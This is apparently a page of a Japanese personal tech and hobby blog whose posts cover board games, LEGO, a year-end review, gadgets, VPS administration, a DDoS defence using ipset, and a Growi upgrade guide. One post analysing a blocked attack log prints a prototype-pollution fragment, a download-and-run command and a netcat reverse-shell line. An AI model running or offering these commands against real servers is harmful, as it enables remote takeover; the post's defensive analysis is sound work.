投稿者: manualmaton Page 3 of 280

年明けボードゲーム『大鎌戦役』ソロプレイ。

年明けのボードゲームとして選んだのは、物理の『大鎌戦役』

こちらが選んだのは『ザクセン帝国』。使ったマットはエンジニアリング。

「オートマ」の奥深さにやられました。

カードのオートマという気まぐれな意志決定機関に振り回され、私の思考回路が追いつかず、イージーでも辛勝した事実。

71-53で勝ってはいますが、オートマの星章獲得の速さで、終盤、なりふり構わず領土拡大にシフトしたため勝てた次第です。

そこで改めて思ったのが

Warhammerを嗜む友人の手によるキャラクターとメックの詳細なペイント」

の時点で神棚ではなく戦場の第一線で使うべきものです。

  • 海外から取り寄せたオーガナイザーによりセットアップと収納を劇的に楽にして
  • リアリスティックリソースとメタルコインという没入感

何よりも「物理的なコンポーネントを手にする満足感」。これは、面倒なアナログのセットアップを帳消しにするほどの楽しさです。

今年こそもう少し回したいと思った次第です。

年越しの組み立て。

「これをやらないとこの年は終わらない」と思った結果です。

2025年、プライムデーでしれっと手に入れていた『スリザリンの紋章/談話室レゴ』。

「巳の年の締めくくり」にこれ以上のものはない

思いつつ組み立て。

パーツの割に分厚いインストラクション。これは相当かかりそうだと思いながら

完成。映画1本分を消費する程度の組み立て時間でした。

展開することで、あの映画の談話室をイメージできるようになっているのが高ポイント。

きちんと壁掛けの強度もあるのも良かったです。

2025年のZENタイル。

今年は余裕ができたので、2025年の振り返りを改めてZENタイルで行おうと思います。

全体概要

前半が厳しく、後半に天気があり、加速したという形。

2025年前半の辛さ

年の前半は本当にキツかったです。仕事でもプライベートでも。

  • 150日の亡霊とのまっただ中で「いつまでこの課金は続くのか?」という不安
  • 猫の体調不良→虹の橋を渡るまでの辛さ

そんな中「絶対にこの結末は見届ける」という癸亥が生まれ、それを乗り切った中では

2025年後半の楽しさ

一番顕著だったのがThinkPadの購入により、行動範囲どころか思考回路が変わり

  • 散歩の習慣が復活
  • サーバ刷新という行動力

などが生まれ、仕事にも余裕が出てきたという次第。

  • 日記
  • WordPressの更新

も365日キチッと終えました。そんな中で、改めて思ったのが『アカギ』対市川戦

手段は選ばない
地獄を一度くぐっちまうことさ 南郷さん
ツキの女神はいつだって
その先にしゃがみ込んでいる

を体現した2025年でした。2026年はこの好調を維持できることを願うばかりです。

Linux Webサーバのログから見るモダンな攻撃例。

2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。

検知ログの概要(匿名化済み)

[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
 - RCE (Remote Code Execution): 65
 - SQLI (SQL Injection): 5
 - LFI (Local File Inclusion): 5
 - COMBINED_SCORE: 78

攻撃ペイロードの構造解析

攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。

プロトタイプ汚染(Prototype Pollution)

"__proto__": { "then": "$1:__proto__:then" }

これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。

OSコマンド注入(Remote Code Execution)

JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)

# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立

3. 防御側の対応と結果

とはいえ、この手の防御はしっかりとWAFが検知していました。

  • 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
  • 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
  • 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。

解説メモ

この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。

しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。

漫画『ONE OUTS』にも引き合いに出された

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

2025年に買った中で印象的なガジェット。

2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。

ホグワーツ4寮の限定AL-Star

「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

  • No Time
  • No Choise
  • Without Thinking

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

Garmin Instinct E

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。

iPhone AIR

6年ぶりの機種変。これによって得られたものは

  • 長持ちしたバッテリー
  • 軽さ
  • 速さ。

世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。

Thinkpad X13 2020年モデル

これは本当に大きいもの。

  • 打ちやすいキーボード
  • 長持ちしたバッテリー
  • 何よりもLinuxサーバに気軽にアクセスできるWindows環境

など、私の生活リズムそのものを変えたという形。

なお、このThinkPadは少し変化があるかもしれませんが

  • アナログによる記録
  • スマートウォッチという体調管理
  • スマートフォン、ノートPCという「デジタルの杖」

の三段構えは2026年も続けていくでしょう。

2025年のサーバ設定のまとめ。

今年はサーバ運用で色々とありましたので、年末らしい振り返りを。

1~4月:地獄だったが学びのあった「150日の亡霊」

「MongoDBをs3fsで繋いでしまった」

ことによる課金地獄。

とはいえ、これにより

  • クラウドストレージの正しい使い道
  • 合う運用/合わない運用

何よりも

「全ての責任が自分である以上、最後まで問題に取り組む」

という、エンジニアの必須スキルを改めて学べました。

5月:取れてしまったドメイン。

元々、VPS運用を更に決定づけたドメイン「reisalin.com」の所有者ではありますが、新たに「ryza.jp」というわずか4文字で意味あるドメインが取れたことで、ますます「サーバ運用に真摯に向き合う」気概が生まれました。

8月:VPS変更。WebArena→XServerに。

月額980円キャンペーン期間が切れるタイミングでXServerに切り替え。月額1400円程度に上がりましたが、その分、

CPUモデル : AMD EPYC-Milan Processor
CPUコア数 : 4
合計メモリ : 5.78 GiB
利用可能メモリ : 1.97 GiB
合計スワップ : 2.00 GiB

に底上げ。

余談:上記を一発で知るワンライナー

CPUとメモリを知ることができるワンライナーです

awk 'BEGIN {FS=":"; OFS="\t"} /^model name/ && !cpu_model {cpu_model=$2; gsub(/^ */, "", cpu_model)} /^processor/ {cores++} /^MemTotal/ {mem_total=$2} /^MemAvailable/ {mem_avail=$2} /^SwapTotal/ {swap_total=$2} END {printf "CPUモデル\t: %s\n", cpu_model; printf "CPUコア数\t: %s\n", cores; printf "合計メモリ\t: %.2f GiB\n", mem_total/1024/1024; printf "利用可能メモリ\t: %.2f GiB\n", mem_avail/1024/1024; printf "合計スワップ\t: %.2f GiB\n", swap_total/1024/1024}' /proc/cpuinfo /proc/meminfo

この底上げは何がありがたいかというと、今まで諦めていた

  • Growi
  • Redmine
  • BookStack
  • NextCloud

の同時稼働ができるようになったこと。また、折角だからとmod-phpからphp-fpmへとよりセキュアな構成にできたのもありがたいです。

10~11月「ONE OUTSシステムの刷新」

  • ModSecurity
  • Apache
  • シェルスクリプト

の三構成によりオープンソースでありながら十分なセキュリティ強度を持たせた「ONE OUTS」を

「自分の投稿は偽陽性にならず、相手の疑わしい攻撃を検知する」

ものへと刷新することができました。

12月「クリスマスアタック」

直近の出来事ですが、これをは特に印象深い出来事です。12月25日というクリスマスの朝、自サーバを襲ったDDoS。これを「前もって用意していた」ipsetでカウンターで来たことは何より重畳。

最後に

昨年末の「Wasabiクラウドの重課金」は「これ、私、今後、vpsを運用する資格があるのか?」思いましたが:

「資格? 馬鹿野郎、誰もそんなもの持ってねぇんだ! いいか、あるのは責任だけだ。戦う責任! あの子を傷つけちまった責任! そいつを果たすには、この地球を守るしかねぇんだ!
 俺は慰めねぇぞ。励ますつもりもねぇ。自分の責任は自分でとれ! 立ち上がってこい、ダイモン! そしたら俺たちはいくらでも支えてやる」
 ――『救急戦隊ゴーゴーファイブ』第27話『イエロー戦線離脱!』

この言葉に救われました。このおかげで、今年は乗り切ることができたということで、今年のサーバ運用の締めくくりとしたいです。

IDEA SPHERE『坂道と、選ばれなかった物差し』

IDEA SPHEREとして、8年ほど前の記憶を。

発端

今でも乗っているブロンプトンで、(当時は1年も発っていない新車でした)奥秩父から祖父宅へと向かう途上です。

見通しはいいが延々と続く、なかなか骨の折れる上り坂の麓にさしかかろうかという中、

前方に二人のロードバイク乗りがいました。

  • 一人はフルカーボンに高級コンポーネント、引き締まった体つきの年配の方。
  • もう一人は、明らかにおろしたてのピカピカのロードに乗った30代くらいの男性

こちらを見るなり、二人がニヤニヤと笑ったのを覚えています。(特に年配の方)

やがて坂道にさしかかり、しばらくして、後ろにいた新しいロードの方が、勢いよく私を抜いていきました。

「おお、飛ばすなあ」

ぐらいの心境です。そもそも速度に差がある小径車とロードバイク。競うつもりは端からありません。

違和感

ところが、しばらくすると前方の自転車(というよりも自転車乗り)に違和感がありました。

  • 明らかに速度が落ちています。
  • ペダリングが不安定。
  • 脇腹をかばっているのが遠目にも分かります。

差は、少しずつ、しかし確実に縮まっていったわけです。

斜度が一番きつい区間を越え、ようやく平坦に近いところへ出た瞬間、私はそのロードを抜きました。

すると、後ろで見ていたであろう年配のローディが、すごい勢いでのぼってきて、新しいロードの前に立ち、何かを強い口調で言い始めました。

「こんなのに負けてちゃ、上達しないぞ」
「こうやってダンシングするんだ」

その瞬間、流石に気づきます。

私は当て馬にされたのかと。

  • 小径車。
  • 折り畳み。
  • ギアも少ない。
  • 前にバッグ。
  • 普段着
  • ビンディングも無し。

彼らから見れば、極上の“かませ犬”だったのだと思います。

物語の終わり

しかし、彼等には3つの誤算がありました。

地の利

祖父宅の近くとあるように、実質地元民です。どこで力を使い、キツいところと楽なところはどこか? 適切な力配分は? と体で知っていたこと。

「小径車が有利になる状況」

  • 慣性モーメントの小ささ
    • ロードの700Cホイールに比べ、16インチのブロンプトンのホイールは圧倒的に軽く、回転させ始める(あるいは加速を維持する)ためのエネルギーが少なくて済みます。
  • 低速域での粘り
    • 急勾配で速度が落ちた際、大きな車輪を回し続けるのは筋力的に大きな負担(高トルク)がかかりますが、小径車は軽い力でクルクルと回し続けることが可能です。

「戦力の過小評価」

これが最も致命的。

年配のローディーが犯した最大のミスは、「乗り手というエンジンの性能」と「経験値」を無視したことです。

こんな、素人に毛が生えた(ように見える)私を、小径車というだけで判断。

なにせカーボンとクロモリフレーム。軽さは歴然です。ギアもウェアの性能も明らかです。初心者に自信をつけさせるには十分な理があったのでしょう。

しかしながら、ロードの方々はブロンプトンのしなやかな剛性と「長距離を淡々と走ることができる『折りたたみ』自転車」という認識が欠けていて、私はその乗り方に合っていた。

ここで思うこと

この出来事を未だに昨日のことのように思い出すのは、私の普段のサーバ運用のスタイルと重なるからです。

「目的を見失ってはいけない」

サーバにしても、自転車にしても、その目的の本質は「安全性」です。特に、自転車はITと異なり「切り戻し」ができません。(できたらそれこそ魔法か何かです)

何かに勝つのは確かに重要ではありますが、「本質を見失っていないか?」「その勝負に適した獲物は?」「相手が有利、自分が不利な状況は?」を自答していく覚悟が問われました。

「相手に敬意を払う」

これは父が生前言っていた

「戦う相手には常に敬意を払え。その上で全力で叩き潰せ」

という言葉。これには続きがあり、父が夢枕に立ち

「これは、敬意を払わないと必ず慢心を生む。その慢心は油断になるという意味だからな」

とわざわざ但し書きをしたほどです。

まとめ:「道具に使われるか、道具が選ぶか」

またこれを引き合いに出しますが、『ハリー・ポッターと賢者の石』のオリバンダー翁の

The wand chooses the wizard, Mr. Potter. It's not always clear why
「杖が魔法使いを選ぶのです、Mr.ポッター。何故そうなるかは、はっきりとは分かりませんが」

に通じるものがあります。

高価な道具を使うことで自分が強くなったと錯覚してしまう。これは「自転車を楽しむ」ことではなく「他者と比較して優越感に浸る」ことが目的化している状態です。

抜かれた後に新人に説教を始めた年配者も、結局は「自分の見立てが外れた恥ずかしさ」を新人に転嫁しているに過ぎません。本来、自転車は自由な乗り物であり、他者を格付けするための道具ではないはずです。

結局の所、「道具と使い方、その覚悟」が問われる出来事だったので、未だに鮮明に覚えているんだろうなと思います。

『フルメタル・パニック ふもっふ』の『仁義なきファンシー』の

「貴様はひとつミスを犯した」
「敵の戦力は過小評価しないことだ。」

という真理を持って、本稿を締めくくりたいと思います。

サーバのネットワーク情報を一覧で見るためのワンライナー。(RHEL系/Ubuntu系)

設計書を書く際に面倒な「サーバの設定値の抜き出し」を楽にするためのコマンドです。

RHEL系

  • Red Hat Enterprise
  • Rocky
  • Alma

など、dnfで管理するタイプのコマンドです。

{ echo -e "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"; echo -e "| --- | --- | --- | --- |"; nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next} /^IP4.ADDRESS/ {addr=$2; next} /^IP4.GATEWAY/ {gw=$2; next} /^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next} END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'; }

| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |

実行と同時に、こういうマークダウンができあがります。(IPはダミーです)

インタフェースIPv4 アドレスゲートウェイDNS
ens192192.0.2.10/24192.0.2.18.8.8.8, 8.8.4.4
ens224198.51.100.50/24198.51.100.11.1.1.1
virbr0192.168.122.1/24--
docker0172.16.0.1/16--
lo127.0.0.1/8--

Ubuntu系

  • Debian
  • Ubuntu
  • LinuxMint

など、aptを用いるLinuxディストリビューションです。

Ubuntuはnmcliを用いないので、同じようにいきません。

{
  echo "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"
  echo "| --- | --- | --- | --- |"
  nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | \
  awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next} 
           /^IP4.ADDRESS/ {addr=$2; next} 
           /^IP4.GATEWAY/ {gw=$2; next} 
           /^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next} 
           END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'
}

これの実行結果は

インタフェースIPv4 アドレスゲートウェイDNS
br-dummy0110.0.0.1/16-(br-dummy01):
docker0172.16.0.1/16-(docker0):
eth0192.0.2.15/24192.0.2.1(eth0):, 8.8.8.8, 1.1.1.1
veth_abc123--(veth_abc123):
veth_def456--(veth_def456):
veth_ghi789--(veth_ghi789):

これをどっかに仕込んでおくだけでも管理は楽になります。

クリスマス防衛戦。(ipsetによるDDoS対策)

自分のサーバに組み込んでいるWebセキュリティシステム(と言ってもスクリプトと設定の組み合わせ) 『ONE OUTS』システム。こちらの弱点を見越した追加設定が効力を発揮しました。

何が起きたか?

「自分のvpsがDDoSを喰らったので、カーネルレベルで対処して沈静化」した時のメモです。

状況確認

Redmine サービスダウン

話は2025年12月25日7:40JST。筆者が管理しているサーバにて、サービスダウンを確認。

  1. SSH接続:OK
  2. Growi:OK
  3. BookStack:OK
  4. Redmine:アクセスしようとして「too much connections」

そこで、状況を調べます。

自作ツール「top-procs」にて

--- CPU Consumers (Top 10) ---
%CPU   %MEM   PID      USER         UNIT                           COMMAND
------------------------------------------------------------------------------------------
85.5   5.1    45114    www-data     apache2.service                 Passenger RubyApp: /home/www-data/app (production)

と、CPU利用率85%以上を確認。

確定:DDoS

netstat -tan を実行すると、以下のようなコネクションが大量に表示されました。

tcp6       0  34498 192.0.2.1:443       198.51.100.15:29862     LAST_ACK   
tcp6       0      0 192.0.2.1:443       203.0.113.84:47044      TIME_WAIT  
tcp6       0      0 192.0.2.1:443       192.0.2.55:38844        TIME_WAIT  
tcp6       0      0 192.0.2.1:443       198.51.100.200:57934    ESTABLISHED
...(中略)...
tcp6       0  34081 192.0.2.1:443       203.0.113.120:27327     LAST_ACK   

総計700行にも及ぶコネクション。これは確実に「DDoS」攻撃です。

  • Mod_Security
  • シェルスクリプト
  • Apache設定

で構成されたONE_OUTSシステムはアクセスログを主体としてL7層(アプリケーション層)での防御を行うもの。なので

  • SYNフラッド攻撃
  • アクセスログに残らないレベルの低レイヤー攻撃

と言った「そもそもログに残らない」「ページの閲覧など関係ない」相手には無意味です。(実際、上記をONE OUTSシステムに組み込んでもアクセスログ(という名の執拗なRedmineへのアクセス)が止まりません。

しかも、DDoSというものは実に厄介です。

  • 超・大量のIPから同時にアクセスしてくるためufw/iptablesで制御したとしても遅延が大きい
  • それでマシンパワーを喰う

という、「物理の力でごり押しする破壊行為」です。

漫画『ドリフターズ』にもある

「こりゃ堕とせんと思ったら
その時から目的は変わるのよ
占領からいやがらせに変わる」

この、いやがらせ目的のため、自分のサーバのリソースが奪われるという状況は見過ごせません。

防衛機構:piertotum locomotor

「こんなこともあろうかと」前もって用意していた「ipset」の設定をフルに使いました。

  • ルールを「集合(set)」として管理。
  • 「このIP群をブロック」というリストを一つのルールとしてまとめられる。
  • 内部的にはハッシュテーブル等を利用しており、検索がほぼ定数時間で完了するため非常に高速。

第2オクテット(/16)どころか、悪質なレンジに対しては「第1オクテット(/8)」すら一括でブロックする運用です。

上記リンクの通り

  1. ipsetコマンドをインストールします。
  2. ブロックリストの設定を行います。
  3. ipsetコマンドでSYNフラッド攻撃を行う攻撃者をレンジごとブロックします。

が事前準備です。

このipsetが有効であるかを確認

実はこれがハマった点でした。

 sudo iptables -L ufw-before-input -n --line-numbers | head -n 5

として、

Chain ufw-before-input (1 references)
num  target     prot opt source               destination         
1    DROP       0    --  0.0.0.0/0            0.0.0.0/0            match-set ufw-blocklist src
2    ACCEPT     0    --  0.0.0.0/0            0.0.0.0/0           
3    ACCEPT     0    --  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED

と、match-set ufw-blocklist srcが記されていることを確認します。(私はこれに記述違いがあり、後で修正する羽目になりました)

執拗に攻撃してくるIP/NWの正規表現化

これにはAIの力を借りました。netstat -tanの結果やアクセスログを元に

  • 執拗にアクセスを試みるIP群
  • それが属するASN

を第1オクテット/第2オクテットで抜き出してもらいます。

シェルスクリプトで一括登録

#!/bin/bash

# 1. ターゲットのipset名
SET_NAME="ufw-blocklist"

# 2. DDoS主犯格リスト (CIDR表記)
BAN_LIST=(
  "xx.0.0.0/8"
  "yy.0.0.0/8"
  "zzz.0.0.0/8"

  # 執拗な個体 (CIDRではなく単一IPも登録可能)
  "abc.def.0.0/16" 
)

echo "Hogwarts is threatened!: ${SET_NAME}..."

# 3. ループ処理で注入
for ip_range in "${BAN_LIST[@]}"; do
  # -exist オプションをつけることで、既に登録済みでもエラーにせずスキップさせる
  sudo ipset add ${SET_NAME} ${ip_range} -exist
  if [ $? -eq 0 ]; then
      echo "  Checking... ${ip_range} -> Loaded."
  else
      echo "  Error adding ${ip_range}"
  fi
done

echo "Man the boundaries, protest us, do your duty to our school!"
sudo ipset save ${SET_NAME} -f /etc/ufw/ipsets.save

echo "I've always wanted to use that spell!"

というシェルスクリプトで一気に登録しました。(処理中のechoは『ハリー・ポッターと死の秘宝 part2』屈指の名シーンです)

そもそも、私のvpsは

  • 広告を置いていません
  • アフィリエイトもありません

大嫌いだからです。 主目的は

「私が後で閲覧するときのメモ帳」です。なので、私がアクセスしてこないようなアクセス元のブロックは一切の躊躇を行いません。そのため、\/8で切ることに躊躇はしません。

確認

cat /etc/ufw/ipsets.save

で、

cat /etc/ufw/ipsets.save
create ufw-blocklist hash:net family inet hashsize 1024 maxelem 65536 bucketsize 12 initval 0xcce80b68
add ufw-blocklist xxx.0.0.0/8

などと表示されればブロック成功です。

沈静化

効果は覿面でした。見られなかったRedmineサイトは無事に表示され、

--- CPU Consumers (Top 10) ---
%CPU   %MEM   PID      USER         UNIT                           COMMAND
------------------------------------------------------------------------------------------
19.3   5.1    45114    www-data     apache2.service                 Passenger RubyApp: /home/www-data/app (production)

CPU利用率も正常に用いました。

まとめ

今回、迅速に対処できたのは、以下の確信があったからです。

  • 「アプリケーション層の防御を突破できない攻撃者は、より原始的なレイヤーでの攻撃に切り替えてくる」
  • 「そして、運用側の注意が散漫になるタイミングを狙ってくる」

事前に「OSの負荷を抑えつつ高速にブロックできる仕組み」を構築していたことが功を奏しました。クリスマスというタイミングを狙ったのは、ホリデーシーズンによる対応の遅れを期待した計画的なものだったのでしょう。

連合艦隊解散の辞にある、

古人曰ク勝ツテ兜ノ緒ヲ締メヨト。

という言葉の重みを再認識する出来事でした。

Growi v7.1.x/v7.2.x→v7.4.0以降へのアップデート

概要

Growi 7.2.x → Growi 7.4.0にアップデートする 手順です。

Growi7.3.3より前のバージョンは脆弱性が存在します。Growiをインターネットで公開している方は、こちらの手順で上げましょう。

注意点

  • Growi 7.4.xはElasticSearchがv9でなければ動きません。
  • また、mongodbの最新版は、古いCPUでは動きません。
  • 上記理由のためGrowiをインターネット環境で動かしている場合は以下を十分検討ください。
    • WAFなどで防御する。
    • ハードウェア環境を最新のmongodb / Elasticsearchが動くものへとアップグレードする。
    • インターネット公開を諦める。

前提

  • 既にgrowi v7.1.x/v7.2.xをインストールしていること。
  • 管理画面トップやトップページ右下からバージョンが7.1.xまたは7.2.xであることを再確認します。
  • systemdによってサービス化されていること。
  • 具体的な手順はhttps://atelier.reisalin.com/projects/zettel/knowledgebase/articles/105
  • 最新版や安定版がリリースされていることを以下のサイトで確認していること。
  • https://github.com/growilabs/growi/releases
  • ※設定ファイルの変更やパッケージインストールの変更、nodeのバージョンアップの必要等があれば、それも事前に済ませます。

さっくりはならない手順

  1. Growiをメンテナンスモードにします。
  2. Growi・Elasticsearchのサービスを停止します。
  3. バックアップを取ります。
  4. gitコマンドで最新版をcheckoutします。
  5. アップグレードを行います。
  6. Elasticsearch・Growiのサービスを再開します。
  7. Growiのメンテナンスモードを解除します。
  8. アップグレードされたことを確認します。

メンテナンスモード有効化

  1. Growiに管理者権限でログインします。
  2. 管理トップ>アプリ設定に進み、「メンテナンスモードを開始する」をクリックします。
  3. トップページに戻り「メンテナンスモード」が表示されていることを確認します。

バックアップ

以下をバックアップします。

  • mongodbの格納データ
cat /etc/mongod.conf |grep dbPath

として、ここのディレクトリ一式を控えます。(筆者環境 /home/mongodb)

このディレクトリを任意の方法でバックアップします。

  • Growiの添付ファイル一式が納められているディレクトリ(ファイルアップロード先をlocalにしている場合のみ)
/growi/root/directory/apps/app/public

(筆者環境 /home/www-data/growi/apps/app/public)ここも念のためバックアップします。

※ 添付ファイルのアップロード先をAWSやAzureなどにしている場合は不要です

  • vpsや仮想ゲストの場合はシステム全体:推奨

スナップショット機能などでシステム全体をバックアップした方が確実で安心です。

ElasticsearchとGrowiの停止

  • Elasticsearchサービス停止
sudo systemctl stop elasticsearch.service
  • サービス停止確認
systemctl status elasticsearch.service

inactive(dead)を確認します。

  • Growiサービス停止
sudo systemctl stop growi.service
  • サービス停止確認
systemctl status growi.service

inactive(dead)を確認します。

作業前バックアップ

  • データディレクトリを丸ごとコピー (-aオプションでパーミッションを維持)
sudo cp -a /var/lib/elasticsearch/ /path/to/backup/dir/elastic_bk.$(date +%Y%m%d)

自分の環境に合わせます。

  • バックアップ確認
sudo ls -l /path/to/backup/dir/elastic_bk.$(date +%Y%m%d)

バックアップした内容があることを確認します。(※管理者権限でないとこのディレクトリを見ることはできません)

リポジトリ設定ファイル名をv9用に変更

Elasticsearchのバージョンを指定するリポジトリをv9に変更します。

  • 現行のリポジトリリストをバックアップ
sudo cp -pi /etc/apt/sources.list.d/elastic-8.x.list /path/to/backup/dir/elastic-8.x.list.$(date +%Y%m%d)
  • リポジトリリストのバックアップ確認
diff -u /path/to/backup/dir/elastic-8.x.list.$(date +%Y%m%d) /etc/apt/sources.list.d/elastic-8.x.list
  • リポジトリリストの名前変更
sudo mv /etc/apt/sources.list.d/elastic-8.x.list /etc/apt/sources.list.d/elastic-9.x.list
  • リポジトリリストの名前変更確認
ls -l /etc/apt/sources.list.d/elastic-9.x.list

ファイルがあることを確認します。

sedコマンドでファイル内の参照先を8.xから9.xに書き換え

sudo sed -i 's/8.x/9.x/g' /etc/apt/sources.list.d/elastic-9.x.list

Elasticsearchのアップグレード

  • パッケージ全体のバックアップ
sudo aptitude update

好みでaptitudeを用いています。必要に応じてaptを用いてください。

  • Elasticsearchのアップグレード
sudo aptitude upgrade elasticsearch

※ Growiインストール時、/etc/elasticsearch/jvm.optionsファイルなどの設定変更を行っているため、アップグレード時の設定ファイルを残すかどうかの確認では、必ずN(残す)を選択します。

  • プラグインのアンインストール

Growiに必要なElasticsearchのプラグインは自動更新されません。この処置を執らないとせっかくアップグレードしたのに起動しないという事態が発生します。

sudo /usr/share/elasticsearch/bin/elasticsearch-plugin remove analysis-icu
sudo /usr/share/elasticsearch/bin/elasticsearch-plugin remove analysis-kuromoji
  • プラグインの再インストール
sudo /usr/share/elasticsearch/bin/elasticsearch-plugin install analysis-icu
sudo /usr/share/elasticsearch/bin/elasticsearch-plugin install analysis-kuromoji

growiディレクトリに移動します

cd /home/www-data/growi && pwd

自分の環境に合わせます。(筆者環境/home/www-data/growi)

リリースタグを確認します。

  • リリースタグ取得
sudo git fetch --tags
  • リリースタグ確認
sudo git tag -l

スペースで確認していき、上記リリースサイトと同じバージョンがあることを確認します。

チェックアウトとインストールを行います。

  • 変更を一時的に退避
sudo git stash
  • チェックアウト
sudo git checkout 【バージョン】

リリースタグは再確認しましょう。今回は 2025/12/24 リリースされたv7.4.0を選択しました。

  • pnpm install
sudo pnpm i
  • ビルド
sudo npm run app:build

ElasticsearchとGrowiの再開

  • Elasticsearchサービス開始
sudo systemctl restart elasticsearch.service
  • サービス開始確認
systemctl status elasticsearch.service

active(running)を確認します。

  • バージョンアップ確認
curl -X GET "localhost:9200"

"number" : "9.1.3",など、9系にアップグレードされていることを確認します。

  • Growiサービス開始
sudo systemctl restart growi.service
  • サービス開始確認
systemctl status growi.service

active(running)を確認します。

メンテナンスモード無効化

  1. Growiに管理者権限でログインします。
  2. 管理トップ>アプリ設定に進み、「メンテナンスモードを終了する」をクリックします。
  3. トップページに戻り「メンテナンスモード」が表示されていないことを確認します。

バージョンアップを確認します。

  1. 画面下部にあるバージョンがチェックアウトしたバージョン(v7.4.x)であることを確認します。
  2. 各種機能(ページ閲覧や編集)などが正常に行えるかを確認します。

バージョンアップ後の作業

必要に応じてバックアップしたファイル一式やスナップショットを削除します。

Page 3 of 280

Powered by WordPress & Theme by Anders Norén